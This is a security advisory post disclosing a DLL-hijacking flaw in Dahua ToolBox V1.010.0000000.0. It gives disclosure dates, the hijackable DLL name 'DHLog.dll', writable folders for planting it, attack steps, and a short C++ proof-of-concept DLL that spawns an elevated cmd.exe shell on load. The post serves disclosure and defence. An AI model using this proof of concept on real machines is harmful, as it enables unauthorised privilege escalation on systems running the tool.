Hi all,

I have actually contacted Dahua PSIRT team and they confirmed the
vulnerability exists few days ago but then since this product is not in
that scope on requesting CVE and therefore I am going to disclose the
details here:

Vulnerable Software and Version:
ToolBox-V1.010.0000000.0 (versions prior to this are probably vulnerable
but just tested against V1.010.0000000.0)

Vulnerable software download link:
https://www.dahuasecurity.com/support/downloadCenter/tools/MaintenanceTools

Date reported to Dahua:
20 Feb 2022

Date of issue acknowledgement and finding validated from Dahua PSIRT team:
22 Feb 2022

Description:
The ToolBox-V1.010.0000000.0 is suffering from DLL hijacking which allows
arbitrary code execution and even privilege escalation when a malcious dll
name as "DHLog.dll" is dropped to followng folders during my research, PE
could be achieved since the exeutable has to be run with administrator
privilege by design.

Attack vector:
A malicious x86 dll named as "DHLog.dll" has to be dropped in ANY of the
following folders, which depends on what softwares have been installed in
the target windows machine

   1. C:\Users\User\AppData\Local\Microsoft\WindowsApps (*Pre-installed in
   every windows)
   2. C:\Users\User\AppData\Local\Programs\Python\Python38\Scripts (Only
   Applicable when users have installed python in their windows machine)
   3. C:\Users\User\AppData\Local\Programs\Python\Python38\ (Only
   Applicable when users have installed python in their windows machine)

PoC code of dll can be found in this repository

Attack steps:

   1. Craft and drop a malicious DLL named as "DHLog.dll" with entry point
   DllMain
   2. Double click the executable "ToolBox", administrator privilege is
   required to run
   3. Malicious DLL has been called and an admin shell can be obtained as
   PoC
   4.  [image: image]
   <https://user-images.githubusercontent.com/21979646/155094255-095563ec-b353-4a9e-ab91-71c96cdd6366.png>


Detail Report can be found here:
https://github.com/ScriptIdiot/DLL-Hijacking-PoC-of-ToolBox-V1.010.0000000.0

Kindly let me know if further input is required. Thanks!


----- poc.cpp -----

// Please compile it as x86
#include "pch.h"
#include <Windows.h>

void cmdspawn()
{
    WinExec("cmd.exe", 1);
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        cmdspawn();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}